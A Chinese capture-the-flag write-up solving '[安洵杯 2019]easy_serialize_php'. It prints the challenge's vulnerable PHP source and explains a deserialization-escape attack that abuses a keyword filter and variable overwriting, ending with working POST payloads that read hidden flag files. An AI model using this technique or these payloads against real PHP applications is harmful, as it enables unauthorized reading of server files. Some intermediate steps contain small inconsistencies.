[安洵杯 2019]easy_serialize_php
进入之后得到源代码进行简单的分析
<?php
// 获取 GET 请求中的 'f' 参数
$function = @$_GET['f'];
// 定义过滤函数
function filter($img){
// 定义需要过滤的字符串数组
$filter_arr = array('php','flag','php5','php4','fl1g');
// 将数组元素拼接成正则表达式模式
$filter = '/'.implode('|',$filter_arr).'/i';
// 使用正则表达式替换掉这些字符串
return preg_replace($filter,'',$img);
}
// 如果$_SESSION已存在,则销毁$_SESSION
if($_SESSION){
unset($_SESSION);
}
// 初始化$_SESSION变量
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
// 从 POST 请求中提取所有变量,进行变量覆盖
extract($_POST);
// 如果 'f' 参数不存在,则显示一个链接,即为初始的帮助页面
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
// 如果 GET 请求中没有 'img_path' 参数
if(!$_GET['img_path']){
// 设置默认的会话图片路径
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
// 将传入的图片路径进行 base64 编码后再进行 sha1 哈希
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
// 对会话数据进行序列化,并使用过滤函数进行过滤
$serialize_info = filter(serialize($_SESSION));
// 执行不同功能
if($function == 'highlight_file'){
// 高亮显示当前文件的源代码
highlight_file('index.php');
}else if($function == 'phpinfo'){
// 输出 PHP 配置信息
eval('phpinfo();'); // 可能在这里可以找到一些信息!
}else if($function == 'show_image'){
// 反序列化过滤后的会话数据
$userinfo = unserialize($serialize_info);
// 输出 base64 解码后的图片内容
echo file_get_contents(base64_decode($userinfo['img']));
}
?>
if($function == 'highlight_file'){
// 高亮显示当前文件的源代码
highlight_file('index.php');
}else if($function == 'phpinfo'){
// 输出 PHP 配置信息
eval('phpinfo();'); // 可能在这里可以找到一些信息!
}else if($function == 'show_image'){
// 反序列化过滤后的会话数据
$userinfo = unserialize($serialize_info);
// 输出 base64 解码后的图片内容
echo file_get_contents(base64_decode($userinfo['img']));
}
我们先按照提示?f=phpinfo
找到了
d0g3_f1ag.php
先想办法查看一下这个文件
很明显我们要利用
echo file_get_contents(base64_decode($userinfo['img']));
我们可以进行变量覆盖
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php的base64编码
把这些用post传入即可进行覆盖,但是
之后又进行了
if(!$_GET['img_path']){
// 设置默认的会话图片路径
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
// 将传入的图片路径进行 base64 编码后再进行 sha1 哈希
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
我们的img就不再是我们构造的结果
经过思考找到了突破点
// 对会话数据进行序列化,并使用过滤函数进行过滤
$serialize_info = filter(serialize($_SESSION));
我们可以利用这个来进行反序列化的逃逸
我们要想成功的访问d0g3_f1ag.php
$userinfo = unserialize($serialize_info);
//就要让其反序列化出来的有$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
echo file_get_contents(base64_decode($userinfo['img']));
开始尝试
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php的base64编码
echo serialize($_SESSION);
输出://a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
可以拿到$_SESSION['img']='ZDBnM19mMWFnLnBocA==';的部分为s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
我们覆盖的$_SESSION['img']会被再次覆盖
所以我们要把其放到我们可控的$_SESSION['function']中
但是$_SESSION['function']本身序列化出的s:8:"function";s:1:"a";会和我们的放入冲突
我们可以利用他的替换即
function filter($img){
// 定义需要过滤的字符串数组
$filter_arr = array('php','flag','php5','php4','fl1g');
// 将数组元素拼接成正则表达式模式
$filter = '/'.implode('|',$filter_arr).'/i';
// 使用正则表达式替换掉这些字符串
return preg_replace($filter,'',$img);
}
来用前面的$_SESSION["user"]吃掉$_SESSION['function']本身序列化出的s:8:"function";s:1:"a";
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php的base64编码
echo serialize($_SESSION);
输出: a:3:{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
我们给user赋值为flag,flag又会被替换为空这样我们的属性数即s后面的数字就会比原本多出4而我们需要吃掉24(";s:8:"function";s:42:"a)个字符即需要6个flag:
<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php的base64编码
echo serialize($_SESSION);
输出 a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:41:"a"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
替换flag
{s:4:"user";s:24:"";s:8:"function";s:41:"a"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这样s:24就代表着"";s:8:"function";s:41:"a"也就是说";s:8:"function";s:41:"a
是user的值,但是这样我们就只剩了两个变量user和img(后面的;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}因为前面闭合了所以被丢弃)和前面的a:3不匹配导致出错所以还要再编造一个变量s:2:"aa";s:1:"a";即可
最终我们传入
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"a";}
再去查看/d0g3_fllllllag的内容
把/d0g3_fllllllag base64之后正好还是二十个字符直接改上面的即可
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:1:"a";}